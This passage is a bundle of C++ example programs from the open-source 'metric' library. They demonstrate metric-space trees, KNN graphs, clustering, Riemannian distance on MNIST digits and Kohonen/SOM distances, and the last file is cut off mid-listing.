1, 2, 3, 4}; // std::vector<double> v2 = {2, 2, 2, 1, 1, 2, 0, 0}; // std::vector<double> v3 = {3, 3, 2, 2, 1, 1, 0, 0}; rec_t b = { 2, 8, 2, 1, 0, 0, 0, 0 }; // configure the tree Tree<rec_t, Manhatten<double>> searchTree(A); //apply a method of the seach tree auto nn = searchTree.nn(b); std::cout << "Tree: best match for b is A[" << nn->ID << "]" << std::endl; // configure the graph KNNGraph<rec_t, Manhatten<double>> searchGraph(A, 2, 4); auto nn_ID = searchGraph.nn(b); std::cout << "Graph: best match for b is A[" << nn_ID << "]" << std::endl; // configure the search tree Matrix<rec_t, Manhatten<double>> searchMatrix(A); std::cout << "Matrix: best match for b is A[" << searchMatrix.nn(b) << "]" << std::endl; std::cout << searchMatrix(0,3) << std::endl; std::cout << searchGraph(0,3) << std::endl; std::cout << searchTree(0,3) << std::endl; } int main() { distance_example(); correlation_example(); knn_example(); return 0; }
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.cpp
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metric-space-ai/metric
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1,531,388
graph_example.cpp
metric-space-ai_metric/examples/space_examples/graph_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <iostream> #include "metric/utils/graph.hpp" std::vector<std::pair<size_t, size_t>> createGrid4(size_t width, size_t height) { std::vector<std::pair<size_t, size_t>> edgesPairs; for (size_t i = 0; i < height; ++i) { for (size_t j = 0; j < width; ++j) { int ii0 = 0, ii1 = 0; int jj0 = 0, jj1 = 0; if (i > 0) { ii0 = -1; } if (j > 0) { jj0 = -1; } if (i < height - 1) { ii1 = 1; } if (j < width - 1) { jj1 = 1; } for (int ii = ii0; ii <= ii1; ++ii) { for (int jj = jj0; jj <= jj1; ++jj) { if ((ii == 0) || (jj == 0)) { edgesPairs.emplace_back(i * width + j, (i + ii) * width + (j + jj)); } } } } } return edgesPairs; } using VType = bool; //using VType = float; //using MType = blaze::DynamicMatrix<VType>; //using MType = blaze::CompressedMatrix<VType>; using MType = blaze::SymmetricMatrix<blaze::DynamicMatrix<VType>>; //using MType = blaze::SymmetricMatrix<blaze::CompressedMatrix<VType>>; MType createGrid4Matrix(const std::vector<std::pair<size_t, size_t>>& edgesPairs) { MType m; size_t max = 0; for (const auto& [i, j] : edgesPairs) { if (i > max) max = i; if (j > max) max = j; } max = max + 1; m.resize((unsigned long)max, (unsigned long)max); m.reset(); for (const auto& [i, j] : edgesPairs) { if (i != j) { m(i, j) = 1; } } return m; } int main() { std::cout << "Graph space example have started" << std::endl; std::cout << "" << std::endl; size_t w = 3; //15; size_t h = 3; //15; size_t node = 1; size_t max_depth = 4; auto g = metric::Grid4(h, w); // auto g = metric::Grid6(h, w); // auto g = metric::Grid8(h, w); // auto g = metric::Margulis(h*w); // auto g = metric::Paley(h*w); // auto g = metric::LPS(h*w); // TODO FIX: no nodes in graph std::cout << "based on stack:\n"; std::vector<std::vector<size_t>> neighbors = g.getNeighboursOld(node, max_depth); for (size_t i = 0; i < neighbors.size(); i++) for (size_t j = 0; j < neighbors[i].size(); j++) std::cout << i << " | " << neighbors[i][j] << "\n"; std::cout << std::endl; std::cout << "based on vector swap:\n"; std::vector<std::vector<size_t>> neighborsNew = g.getNeighbours(node, max_depth); for (size_t i = 0; i < neighborsNew.size(); i++) for (size_t j = 0; j < neighborsNew[i].size(); j++) std::cout << i << " | " << neighborsNew[i][j] << "\n"; // custom graph std::vector<std::pair<size_t, size_t>> edges = createGrid4(h, w); auto g_custom = metric::Graph<bool, true, false>(edges); // edge value type = bool, isDense = true, isSymmetric = false std::cout << "\ncustom graph:\n"; std::cout << g_custom.get_matrix() << "\n"; std::vector<std::vector<size_t>> neighborsNewCustom = g_custom.getNeighbours(node, max_depth); for (size_t i = 0; i < neighborsNewCustom.size(); i++) for (size_t j = 0; j < neighborsNewCustom[i].size(); j++) std::cout << i << " | " << neighborsNewCustom[i][j] << "\n"; // testing factory std::cout << "\ntesting factory\n"; auto m = createGrid4Matrix(edges); auto g_custom_m = metric::make_graph(std::move(m)); std::cout << g_custom_m.get_matrix() << "\n"; return 0; }
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C++
.cpp
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metric-space-ai/metric
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1,531,389
space_tree_advanced_example.cpp
metric-space-ai_metric/examples/space_examples/space_tree_advanced_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Michael Welsch */ #include <iostream> #include <vector> #include <random> #include <thread> #include <blaze/Math.h> #include "assets/assets.cpp" #include "metric/space.hpp" /*** define custom metric ***/ template <typename T> struct recMetric_Blaze { T operator()(const blaze::CompressedVector<T>& p, const blaze::CompressedVector<T>& q) const { return assets::sed(assets::zeroPad(p), assets::zeroPad(q), T(0), T(1)); } }; /*** simulation helper functions ***/ template <class RecType, class Metric> void insert_random(metric::Tree<RecType, Metric>& cTree, int samples, int dimension) { // random generator std::random_device rnd_device; std::mt19937 mersenne_engine(rnd_device()); std::uniform_real_distribution<double> dist(-1, 1); auto gen = std::bind(dist, mersenne_engine); for (int i = 0; i < samples; ++i) { std::vector<double> vec = assets::linspace(gen(), gen(), dimension); // gererator random lines. blaze::CompressedVector<double> comp_vec(dimension); comp_vec = assets::smoothDenoise(vec, 0.1); // denoise and sparse the data cTree.insert(comp_vec); } return; } /*** fill a tree with 1 Mio records and search for nearest neighbour **/ int main() { std::cout << "Advanced space example have started" << std::endl; std::cout << "" << std::endl; metric::Tree<blaze::CompressedVector<double>, recMetric_Blaze<double>> cTree; int n_records = 250; int rec_dim = 10; int threads = 4; /*** parallel insert ***/ std::chrono::high_resolution_clock::time_point t1 = std::chrono::high_resolution_clock::now(); // start inserting std::vector<std::thread> inserter; for (int i = 0; i < threads; ++i) { inserter.push_back(std::thread(insert_random<blaze::CompressedVector<double>, recMetric_Blaze<double>>, std::ref(cTree), n_records, rec_dim)); } for (int i = 0; i < threads; ++i) { inserter[i].join(); } std::chrono::high_resolution_clock::time_point t2 = std::chrono::high_resolution_clock::now(); // end inserting /*** search for a similar data record ***/ std::vector<double> vec1 = assets::linspace(0.3, -0.3, rec_dim); auto a_record = assets::smoothDenoise(vec1, 0.1); auto nn = cTree.nn(a_record); // nearest neigbour (void)nn; std::chrono::high_resolution_clock::time_point t3 = std::chrono::high_resolution_clock::now(); // end searching auto insert_time = std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count(); auto nn_time = std::chrono::duration_cast<std::chrono::microseconds>(t3 - t2).count(); std::cout << "nearest neighbour of a_record info: " << std::endl; std::cout << " ID: " << nn->ID << std::endl; std::cout << " parent->ID: " << nn->parent->ID << std::endl; std::cout << " num children: " << nn->children.size() << std::endl; std::cout << " num siblings: " << nn->parent->children.size() << std::endl; std::cout << " distance to the parent: " << nn->parent_dist << std::endl; std::cout << " level of the node postion in the tree: " << nn->level << std::endl; std::cout << " siblings IDs: "; /*** print the siblings IDs ***/ for (auto q : nn->parent->children) { std::cout << q->ID << " "; } std::cout << std::endl; std::cout << std::endl; std::cout << "tree of " << (n_records * threads) << " curves build in " << insert_time / 1000.0 / 1000.0 << " seconds, " << "nn find in " << nn_time / 1000.0 / 1000.0 << " seconds, " << std::endl; return 0; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,390
space_tree_simple_example.cpp
metric-space-ai_metric/examples/space_examples/space_tree_simple_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <vector> #include <iostream> #include "metric/space.hpp" #include "metric/distance.hpp" int main() { std::cout << "Simple space example have started" << std::endl; std::cout << "" << std::endl; /*** here are some data records ***/ std::vector<double> v0 = { 0, 1, 1, 1, 1, 1, 2, 3 }; std::vector<double> v1 = { 1, 1, 1, 1, 1, 2, 3, 4 }; std::vector<double> v2 = { 2, 2, 2, 1, 1, 2, 0, 0 }; std::vector<double> v3 = { 3, 3, 2, 2, 1, 1, 0, 0 }; /*** initialize the tree ***/ metric::Tree<std::vector<double>, metric::Euclidean<double>> cTree; /*** add data records ***/ cTree.insert(v0); cTree.insert(v1); cTree.insert(v2); cTree.insert(v3); /*** find the nearest neighbour of a data record ***/ std::vector<double> v8 = { 2, 8, 2, 1, 0, 0, 0, 0 }; auto nn = cTree.nn(v8); std::cout << "nearest neighbour of v8 is v" << nn->ID << std::endl; std::cout << std::endl; cTree.print(); std::cout << std::endl; std::cout << std::endl; // /*** batch insert ***/ std::vector<std::vector<double>> table = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; metric::Tree<std::vector<double>, metric::Euclidean<double>> cTree2(table); std::vector<std::vector<double>> table2 = { { 3, 7, 2, 1, 0, 0, 0, 0 }, { 2, 8, 2, 1, 0, 0, 0, 0 } }; cTree2.insert(table2); cTree2.print(); return 0; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,391
search_and_access_example.cpp
metric-space-ai_metric/examples/space_examples/search_and_access_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <vector> #include <iostream> #include "metric/space.hpp" #include "metric/distance.hpp" int main() { std::cout << "Search and access example have started" << std::endl; std::cout << "" << std::endl; /*** batch insert ***/ std::vector<std::vector<double>> table = { { 0, 1, 1, 1, 1, 1, 2, 3 }, { 1, 1, 1, 1, 1, 2, 3, 4 }, { 2, 2, 2, 1, 1, 2, 0, 0 }, { 3, 3, 2, 2, 1, 1, 0, 0 }, { 4, 3, 2, 1, 0, 0, 0, 0 }, { 5, 3, 2, 1, 0, 0, 0, 0 }, { 4, 6, 2, 2, 1, 1, 0, 0 }, }; metric::Tree<std::vector<double>, metric::Euclidean<double>> cTree(table); cTree.print(); std::cout << std::endl; // search std::vector<double> a_record = { 2, 8, 2, 1, 0, 0, 0, 0 }; double a_number = 5; double a_distance = 6; /*** logarithmic complexity ***/ auto nn = cTree.nn(a_record); // finds the nearest neighbour. std::cout << "nearest neighbour of a_record is: " << nn->ID << std::endl; std::cout << std::endl; auto knn = cTree.knn(a_record, a_number); // finds the a_number nearest neighbours for (auto i = 0; i < knn.size(); i++) { std::cout << "#" << i << " nearest neighbour (from " << a_number << ") of a_record is: " << knn[i].first->ID << ", distance: " << knn[i].second << std::endl; } std::cout << std::endl; auto rnn = cTree.rnn(a_record, a_distance); // finds all neigbours in a_distance to a_record. for (auto i = 0; i < rnn.size(); i++) { std::cout << "#" << i << " nearest neighbour (in a distance " << a_distance << ") of a_record is: " << rnn[i].first->ID << ", distance: " << rnn[i].second << std::endl; } std::cout << std::endl; // access nodes /*** access through dereference to the underlying data ***/ // nn->ID; // gives the ID of the record. the ID is counted up like an vector index. // nn->data; // gives the data record of a node (every node contains data) // nn->parent; // gives the parent node in the tree // nn->children[0]; // gives the first child node. (children is a std::vector) // nn->parent_dist; // gives the distance to the parent. // nn->level; // gives the level of the node postion (higher is nearer to the root) std::cout << "nearest neighbour of a_record info: " << std::endl; std::cout << " ID: " << nn->ID << std::endl; std::cout << " parent->ID: " << nn->parent->ID << std::endl; std::cout << " num children: " << nn->children.size() << std::endl; std::cout << " num siblings: " << nn->parent->children.size() << std::endl; std::cout << " distance to the parent: " << nn->parent_dist << std::endl; std::cout << " level of the node postion in the tree: " << nn->level << std::endl; std::cout << " siblings IDs: "; /*** print the siblings IDs ***/ for (auto q : nn->parent->children) { std::cout << q->ID << " "; } std::cout << std::endl; std::cout << std::endl; /*** access a single node by index ***/ auto data_record = cTree[1]; // internaly it just traverse throuh the tree and gives back the corresponding data record // in linear complexity, avoid this. std::cout << "data record #1: {"; for (auto i = 0; i < data_record.size() - 1; i++) { std::cout << data_record[i] << ", "; } std::cout << data_record[data_record.size() - 1] << "}" << std::endl; return 0; }
3,576
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,392
clustering_example.cpp
metric-space-ai_metric/examples/space_examples/clustering_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Dmitry Vinokurov */ #include <vector> #include <iostream> #include <algorithm> #include "metric/space.hpp" template <typename T> struct distance { int operator()(const T& lhs, const T& rhs) const { return std::abs(lhs - rhs); } }; template <typename T> void print_clusters(const ::std::vector<double>& distribution, const std::vector<std::vector<std::size_t>>& clusters, T& tree) { // clusters is a vector of vectors with ID's from tree // clusters.size() is always equals to distribution.size() // clusters[0].size() == tree.size()*distribution[0] // clusters[i].size() == tree.size()*distribution[i] - sum(clusters[0...i-1].size()) // so number of elements in clusters equal to distribution[distribution.size()-1]*tree.size(); for (std::size_t v = 0; v < clusters.size(); v++) { std::cout << distribution[v] << ": {"; for (auto& i : clusters[v]) { std::cout << "(" << i << ":" << tree[i] << "), "; } std::cout << " }" << std::endl; } } int main() { std::cout << "Clustering space example have started" << std::endl; std::cout << "" << std::endl; metric::Tree<int, distance<int>> tree; std::vector<int> data(20); std::iota(data.begin(), data.end(), 0); tree.insert(data); std::cout << tree.size() << std::endl; tree.print(); std::cout << std::endl; // distribution is a vector of percents of number of elements std::vector<double> distribution = { 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8 }; std::vector<int> points = { -1, 0, 1 }; // points is a arbitrary data. // make clusters around points neighbour according to distribution auto clusters = tree.clustering(distribution, points); print_clusters(distribution, clusters, tree); std::cout << std::endl; std::vector<std::size_t> ids = { 0, 1, 2 }; // ids is set of indexes of data array // make clusters around neighbour of elements of the data with indexes from ids according to distribution auto clusters2 = tree.clustering(distribution, ids, data); print_clusters(distribution, clusters2, tree); }
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1,531,393
knn_graph_example.cpp
metric-space-ai_metric/examples/space_examples/knn_graph_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <iostream> #include "metric/space/knn_graph.hpp" #include "metric/distance.hpp" int main() { std::cout << "Graph space example have started" << std::endl; std::cout << "" << std::endl; size_t neighbors_num = 3; std::vector<std::vector<double>> table = { { 0, 1 }, { 1, 1 }, { 2, 2 }, { 3, 3 }, { 4, 3 }, { 5, 3 }, { 4, 6 }, { 5, 1 }, { 4, 1 }, { 3, 2 }, { 0, 3 }, { 1, 3 }, { 2, 3 }, { 6, 6 }, { 0, 2 }, { 0, 9 }, { 0, 4 }, { 0, 5 }, { 0, 6 }, { 0, 7 }, { 0, 8 }, }; auto g = metric::KNNGraph<std::vector<double>, metric::Euclidean<double>>(table, neighbors_num, 2.5 * neighbors_num); std::cout << "graph:" << std::endl; std::cout << g.get_matrix() << std::endl; // std::vector<double> query = { 7, 5 }; std::cout << std::endl; std::cout << "gnn search:" << std::endl; auto found = g.gnnn_search(query, 3); for (size_t i = 0; i < found.size(); i++) { std::cout << found[i] << " -> "; print_vector(g.get_node_data(found[i])); std::cout << std::endl; } std::cout << std::endl; // auto other_g = metric::KNNGraph(g); std::cout << "other graph:" << std::endl; std::cout << "gnn search:" << std::endl; found = other_g.gnnn_search(query, 3); for (size_t i = 0; i < found.size(); i++) { std::cout << found[i] << " -> "; print_vector(other_g.get_node_data(found[i])); std::cout << std::endl; } std::cout << std::endl; // // metric::Tree<std::vector<double>, metric::Euclidean<double>> tree(table); // // auto graph_from_tree = metric::KNNGraph(tree, neighbors_num, 2.5 * neighbors_num); // // std::cout << "tree graph:" << std::endl; // std::cout << "gnn search:" << std::endl; //found = graph_from_tree.gnnn_search(query, 3); // //for (size_t i = 0; i < found.size(); i++) //{ // std::cout << found[i] << " -> "; // print_vector(graph_from_tree.get_node_data(found[i])); // std::cout << std::endl; //} // std::cout << std::endl; return 0; }
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.cpp
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1,531,394
assets.cpp
metric-space-ai_metric/examples/space_examples/assets/assets.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <vector> //#include <blaze/Math.h> namespace assets { /** smooth reduces of noise by threshold and give back a sparse vector. **/ template <typename T> blaze::CompressedVector<T> smoothDenoise(std::vector<T> const& data, T const& tresh) { // initialize blaze::CompressedVector<T> svector(data.size()); svector.reserve(data.size()); bool lastEqualsZero; bool keepNext; lastEqualsZero = false; keepNext = false; //iterator through data for (std::size_t i = 0; i < data.size(); i++) { if (data[i] != T(0)) { //bigger than theshold if (std::abs(data[i]) > tresh) { if (lastEqualsZero == true) { svector.set(i - 1, data[i - 1]); // make retroactive changes to last value not to be zero lastEqualsZero = false; } svector.append(i, data[i]); keepNext = true; } // smaller than theshold else { if (keepNext == true) { svector.append(i, data[i]); } lastEqualsZero = true; keepNext = false; } } } shrinkToFit(svector); return svector; } /** add zero padding to sparsed vector (preprocessing for time elatic distance) **/ template <typename T> blaze::CompressedVector<T> zeroPad(blaze::CompressedVector<T> const& data) { // adds zero pads to blaze::sparsevector (for preparing sed) blaze::CompressedVector<T> data_zeropadded(data.size()); data_zeropadded.reserve(2 + data.nonZeros() * 2); T value; bool addZeroFront; bool addZeroLastBack; int index; int index_last = -1; if (data.nonZeros() == 0) { data_zeropadded.set(0, T(0)); data_zeropadded.set(data.size() - 1, T(0)); } else { for (blaze::CompressedVector<double>::ConstIterator it = data.cbegin(); it != data.cend(); ++it) { index = it->index(); // Read access to the index of the non-zero element. value = it->value(); // Read access to the value of the non-zero element. if (index == index_last + 1) addZeroFront = false; else addZeroFront = true; if (index > index_last + 1 && index != 1 && index != index_last + 2) addZeroLastBack = true; else addZeroLastBack = false; if (addZeroLastBack == true) data_zeropadded.append(index_last + 1, T(0)); if (addZeroFront == true) data_zeropadded.append(index - 1, T(0)); data_zeropadded.append(index, value); index_last = index; } if (index_last < int(data.size()) - 2) // vorletzter nicht vorhanden { data_zeropadded.append(index_last + 1, T(0)); } if (index_last < int(data.size()) - 1) { data_zeropadded.append(data.size() - 1, T(0)); } } shrinkToFit(data_zeropadded); return data_zeropadded; } /*** distance measure by time elastic cost matrix. ***/ template <typename T> T sed(blaze::CompressedVector<T> const& As, blaze::CompressedVector<T> const& Bs, T const& penalty = 0, T const& elastic = 1) { std::vector<T> A; A.reserve(As.nonZeros()); std::vector<T> timeA; timeA.reserve(As.nonZeros()); std::vector<T> B; B.reserve(Bs.nonZeros()); std::vector<T> timeB; timeB.reserve(Bs.nonZeros()); for (blaze::CompressedVector<double>::ConstIterator it = As.cbegin(); it != As.cend(); ++it) { timeA.push_back(it->index()); // Read access to the index of the non-zero element. A.push_back(it->value()); // Read access to the value of the non-zero element. } for (blaze::CompressedVector<double>::ConstIterator it = Bs.cbegin(); it != Bs.cend(); ++it) { timeB.push_back(it->index()); // Read access to the index of the non-zero element. B.push_back(it->value()); // Read access to the value of the non-zero element. } T C1, C2, C3; int sizeB = B.size(); int sizeA = A.size(); std::vector<T> D0(sizeB); std::vector<T> Di(sizeB); // first element D0[0] = std::abs(A[0] - B[0]) + elastic * (std::abs(timeA[0] - 0)); // C3 // first row for (int j = 1; j < sizeB; j++) { D0[j] = D0[j - 1] + std::abs(B[j - 1] - B[j]) + elastic * (timeB[j] - timeB[j - 1]) + penalty; // C2 } // second-->last row for (int i = 1; i < sizeA; i++) { // every first element in row Di[0] = D0[0] + std::abs(A[i - 1] - A[i]) + elastic * (timeA[i] - timeA[i - 1]) + penalty; // C1 // remaining elements in row for (int j = 1; j < sizeB; j++) { C1 = D0[j] + std::abs(A[i - 1] - A[i]) + elastic * (timeA[i] - timeA[i - 1]) + penalty; C2 = Di[j - 1] + std::abs(B[j - 1] - B[j]) + elastic * (timeB[j] - timeB[j - 1]) + penalty; C3 = D0[j - 1] + std::abs(A[i] - B[j]) + std::abs(A[i - 1] - B[j - 1]) + elastic * (std::abs(timeA[i] - timeB[j]) + std::abs(timeA[i - 1] - timeB[j - 1])); Di[j] = (C1 < ((C2 < C3) ? C2 : C3)) ? C1 : ((C2 < C3) ? C2 : C3); //Di[j] = std::min({C1,C2,C3}); } std::swap(D0, Di); } T rvalue = D0[sizeB - 1]; return rvalue; } /** linspace (generaters a "line curve") **/ template <typename T> std::vector<T> linspace(T a, T b, int n) { std::vector<T> array; if (n > 1) { T step = (b - a) / T(n - 1); int count = 0; while (count < n) { array.push_back(a + count * step); ++count; } } else { array.push_back(b); } return array; } } // end namespace
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1,531,395
entropy_mnist_riemannian_example.cpp
metric-space-ai_metric/examples/distance_examples/entropy_mnist_riemannian_example.cpp
#include "metric/utils/datasets.hpp" #include "metric/distance/d-spaced/Riemannian.hpp" #include "metric/mapping/PCFA.hpp" #include <iostream> void print_img(std::vector<double> img, size_t h, size_t w) { std::string s[4] = {" ", ".", "*", "&"}; std::cout << "\n"; for (size_t y = 0; y<h; ++y) { for (size_t x = 0; x<w; ++x) { //std::cout << (int)(img[y*w + x]*5) << " "; int d = img[y*w + x]*3; if (d < 0) d = 0; if (d > 3) d = 3; std::cout << s[d] << " "; } std::cout << "|\n"; } } int main() { Datasets datasets; /* shape: [batches, rows, cols, channels] */ auto [labels, shape, features] = datasets.getMnist("data.cereal"); std::cout << labels.size() << "\n"; std::cout << shape.size() << "\n"; std::cout << features.size() << "\n"; std::vector<std::vector<double>> images; int margin = 4; // set up here size_t cnt = 0; auto img = std::vector<double>(); for (auto el : features) { if (cnt >= shape[1]*shape[2]) { cnt = 0; images.push_back(img); img = std::vector<double>(); } auto y = cnt % shape[2]; if ( cnt>=shape[1]*margin && cnt<shape[2]*(shape[1]-margin) && y>=margin && y<(shape[2]-margin) ) // crop img.push_back((double)(el/255.0)); // TODO try other type ++cnt; } images.push_back(img); // last size_t ds_size = 5400; //5400; //std::vector<std::vector<int>> lbls (10); // for debug std::vector<std::vector<std::vector<double>>> imgs_by_digit (10); size_t filled = 0; for (size_t i = 0; i<images.size(); ++i) { if (imgs_by_digit[labels[i]].size() < ds_size) { imgs_by_digit[labels[i]].push_back(images[i]); //lbls[labels[i]].push_back(labels[i]); // for debug if (imgs_by_digit[labels[i]].size() == ds_size) { filled++; } } if (filled >= 10) break; } std::vector<std::vector<double>> imgs_mixed; size_t digit = 0; //std::vector<int> lbls_mixed; // for debug for (size_t i = 0; i<ds_size; ++i) { imgs_mixed.push_back(imgs_by_digit[digit][i/10U]); //lbls_mixed.push_back(i/10U); // for debug ++digit; if (digit >= 10) digit = 0; } int width = shape[2] - 2*margin; // cropped std::cout << "\n sizes of datasets:\n"; for (size_t i = 0; i<10; ++i) { std::cout << i << ": " << imgs_by_digit[i].size() << "\n"; } std::cout << "mixed: " << imgs_mixed.size() << "\n"; // for (size_t i = 0; i<32; ++i) { // output first 32 digits // std::cout << "\n"; // print_img(imgs_mixed[i], width, width); // } auto pcfa = metric::PCFA<std::vector<double>, void>(imgs_mixed, 20); //std::cout << "\neigenmodes:" << pcfa.eigenmodes_mat() << "\n"; auto imgs_mixed_encoded = pcfa.encode(imgs_mixed); std::vector<std::vector<std::vector<double>>> imgs_by_digit_encoded; for (size_t i = 0; i<10; ++i) { imgs_by_digit_encoded.push_back(pcfa.encode(imgs_by_digit[i])); } auto rd = metric::RiemannianDistance<void, metric::Euclidean<double>>(); for (size_t i = 0; i<10; ++i) { for (size_t j = i; j<10; ++j) { std::cout << "Riemannian distance for digits " << i << ", " << j << ": " << rd(imgs_by_digit_encoded[i], imgs_by_digit_encoded[j]) << std::endl; } std::cout << "Riemannian distance for digits " << i << ", all: " << rd(imgs_by_digit_encoded[i], imgs_mixed_encoded) << std::endl; } return 0; }
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1,531,396
kohonen_distance_example.cpp
metric-space-ai_metric/examples/distance_examples/kohonen_distance_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <fstream> #include <chrono> #include "metric/distance.hpp" std::tuple<std::vector<std::vector<double>>, std::vector<double>> readData(std::string filename) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; std::vector<double> labels; // omit headers //getline(fin, line); while (getline(fin, line)) { //std::cout << "row " << i << std::endl; std::stringstream s(line); //std::cout << " -> " << line << std::endl; row.clear(); int i = 0; while (getline(s, word, '\t')) { //std::cout << " --> " << word << std::endl; if (i >= 2) { labels.push_back(std::atof(word.c_str())); } else { row.push_back(std::atof(word.c_str())); } i++; } rows.push_back(row); } return { rows, labels }; } std::vector<std::vector<double>> readCsvData(std::string filename, char delimeter = ',') { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; std::vector<int> labels; // omit header getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); // get label //getline(s, word, delimeter); //labels.push_back(std::stoi(word)); row.clear(); while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } rows.push_back(row); } return rows; } template <typename Record> void saveToCsv(std::string filename, const std::vector<Record> &mat, const std::vector<std::string> &features) { std::ofstream outputFile; // create and open the .csv file outputFile.open(filename); // write the file headers for (auto i = 0; i < features.size(); ++i) { outputFile << features[i]; outputFile << ","; } outputFile << std::endl; // last item in the mat is date for (auto i = 0; i < mat.size(); ++i) { //outputFile << dates[i] << ";"; for (auto j = 0; j < mat[i].size(); j++) { outputFile << mat[i][j] << ","; } outputFile << std::endl; } // close the output file outputFile.close(); } int main() { /******************** examples for Kohonen Distance **************************/ std::cout << "Kohonen Distance example have started" << std::endl; std::cout << "" << std::endl; int grid_w = 3; int grid_h = 2; using Record = std::vector<double>; std::vector<Record> simple_grid = { {0, 0}, {1, 0}, {2, 0}, {0, 1}, {1, 1}, {2, 1}, }; metric::Kohonen<double, std::vector<double>> distance_1(simple_grid, grid_w, grid_h); auto t1 = std::chrono::steady_clock::now(); auto result = distance_1(simple_grid[2], simple_grid[3]); auto t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // /* Load data */ auto [train_dataset, labels] = readData("assets/Compound.txt"); metric::Kohonen<double, std::vector<double>> distance_2(train_dataset, grid_w, grid_h); t1 = std::chrono::steady_clock::now(); result = distance_2(train_dataset[0], train_dataset[1]); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // using Vector = std::vector<double>; using Metric = metric::Euclidean<double>; using Graph = metric::Grid6; using Distribution = std::uniform_real_distribution<double>; Distribution distr(-1, 1); metric::SOM<Vector, Graph, Metric> som_model(Graph(grid_w, grid_h), Metric(), 0.8, 0.2, 20, distr); if (!som_model.isValid()) { std::cout << "SOM is not valid" << std::endl; return EXIT_FAILURE; } som_model.train(train_dataset); metric::Kohonen<double, Vector, Graph, Metric> distance_3(som_model, train_dataset); t1 = std::chrono::steady_clock::now(); result = distance_3(train_dataset[0], train_dataset[1]); t2 = std::chrono::steady_clock::now(); std::cout << "result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; // distortion double start_learn_rate = 1.0; double finish_learn_rate = 0.2; size_t iterations = 300; double neighborhood_start_size = 10; double neighborhood_range_decay = 10; long long random_seed = std::chrono::system_clock::now().time_since_epoch().count(); Distribution distr_4(0, 5); metric::SOM<Record, Graph, Metric> som_model_5(Graph(grid_w, grid_h), Metric(), start_learn_rate, finish_learn_rate, iterations, distr_4, neighborhood_start_size, neighborhood_range_decay, random_seed); som_model_5.train(simple_grid); metric::Kohonen<double, Record, Graph, Metric> distance_5(som_model_5, simple_grid); t1 = std::chrono::steady_clock::now(); result = distance_5.distortion_estimate(simple_grid); t2 = std::chrono::steady_clock::now(); std::cout << "distortion estimate result: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; metric::SOM<Record, Graph, Metric> som_model_4(Graph(grid_w, grid_h), Metric(), start_learn_rate, finish_learn_rate, iterations, distr_4, neighborhood_start_size, neighborhood_range_decay, random_seed); std::vector<Record> linear_dataset = { {0, 0}, {1, 0}, {2, 0}, {3, 0}, {4, 0}, {5, 0}, }; som_model_4.train(linear_dataset); metric::Kohonen<double, Record, Graph, Metric> distance_4(som_model_4, linear_dataset); t1 = std::chrono::steady_clock::now(); result = distance_4.distortion_estimate(linear_dataset); t2 = std::chrono::steady_clock::now(); std::cout << "distortion estimate result for linear dataset: " << result << " (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << " s)" << std::endl; std::cout << "" << std::endl; /////////////////////////////////////////////////////////////////////////////////////////// std::vector<std::string> dataset_names; dataset_names.push_back("BOD2"); dataset_names.push_back("Chloride"); dataset_names.push_back("Coal"); dataset_names.push_back("Ethyl"); dataset_names.push_back("Isom"); 